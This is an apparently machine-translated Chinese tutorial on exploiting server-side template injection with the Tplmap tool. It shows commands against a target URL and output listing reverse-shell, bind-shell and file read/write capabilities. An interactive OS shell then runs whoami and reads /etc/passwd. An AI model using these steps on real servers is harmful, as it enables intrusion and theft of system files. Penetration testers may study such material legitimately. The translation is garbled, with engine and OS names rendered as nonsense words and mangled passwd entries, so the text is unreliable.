当您运行使用带有用户提供的值的模板生成动态内容的网页的渗透测试时,您可能会遇到服务器端模板注入漏洞。 手动识别您正在处理的模板引擎,随后的开发可以使用 Tplmap 工具轻松实现自动化。
Tplmap 能够在几种类型的模板引擎中检测和使用 SSTI。 它具有浏览文件系统和在被攻击服务器上远程执行命令等功能。
$/tplmap.py -u"http://www.target.com/page?name=John"
[+]图 0.5
自动服务器侧模板注入检测和利用工具
[+]测试 GET 参数"名称"是否可注射
[+]智能插件正在测试带有标签"[*}"的渲染
[+]智能插件正在测试盲目注射
[+]Mako 插件正在测试带有标签"$[*}"的渲染
...
[+]Jinja2 插件正在测试带有标签的渲染
[+]Jinja2 插件已确认注注标签为"[*}"
[+]Tplmap 确定了以下注射点:
获取参数:名称
发动机: 金贾2
注射: [[}
上下文: 文本
操作系统: 利努克斯
技术:渲染
能力:
壳牌命令执行:大约
绑定和反向外壳:大约
文件写:确定
文件阅读: 确定
代码评估:确定,蟒蛇代码
[+]重新运行 tplmap 提供以下选项之一:
--在目标上运行外壳
--操作系统-厘米执行外壳命令
--绑定壳端口连接到与目标端口绑定的外壳
--反壳主机端口将外壳送回攻击者的端口
--将本地远程上传文件上传到服务器
--下载远程本地下载远程文件
使用 -os-壳选项
在目标上运行伪目标。
$/tplmap.py - 奥斯壳 - u "http://www.target.com/page?name=John"
[+]图 0.5
自动服务器侧模板注入检测和利用工具
[+]在操作系统上运行命令。
利努克斯$哇米
蹼
利努克斯 $猫 / 等 / 通行证
根/根/箱/巴什
戴蒙:x:1:1:戴蒙/乌斯尔/斯宾/宾/什
宾:x:2:2:宾/宾/箱/什
Tplmap 支持超过 15 个模板引擎:
发动机 | 远程命令执行 | 盲 | 代码评估 | 阅读文件 | 写到文件 |
---|---|---|---|---|---|
马科 | ✓ | ✓ | 蟒 | ✓ | ✓ |
金贾2 | ✓ | ✓ | 蟒 | ✓ | ✓ |
Python (代码等价物) | ✓ | ✓ | 蟒 | ✓ | ✓ |
龙卷风 | ✓ | ✓ | 蟒 | ✓ | ✓ |
肯塔基州努朱克斯 | ✓ | ✓ | 爪哇脚本 | ✓ | ✓ |
帕格 | ✓ | ✓ | 爪哇脚本 | ✓ | ✓ |
点 | ✓ | ✓ | 爪哇脚本 | ✓ | ✓ |
马可 | ✓ | ✓ | 爪哇脚本 | ✓ | ✓ |
爪哇脚本(代码等价物) | ✓ | ✓ | 爪哇脚本 | ✓ | ✓ |
灰尘(<= [email protected]) | ✓ | ✓ | 爪哇脚本 | ✓ | ✓ |
埃杰斯 | ✓ | ✓ | 爪哇脚本 | ✓ | ✓ |
红宝石(代码等价物) | ✓ | ✓ | 红宝石 | ✓ | ✓ |
苗条 | ✓ | ✓ | 红宝石 | ✓ | ✓ |
铒 | ✓ | ✓ | 红宝石 | ✓ | ✓ |
聪明(不安全) | ✓ | ✓ | PHP | ✓ | ✓ |
PHP(代码等价物) | ✓ | ✓ | PHP | ✓ | ✓ |
特威格 (<=1.19) | ✓ | ✓ | PHP | ✓ | ✓ |
自由标记 | ✓ | ✓ | × | ✓ | ✓ |
速度, 新 | ✓ | ✓ | × | ✓ | ✓ |
特威格 (>1.19) | × | × | × | × | × |
聪明(安全) | × | × | × | × | × |
灰尘 (> 灰尘 – [email protected]) | × | × | × | × | × |
图可以找到创造者吉图布 – 图图。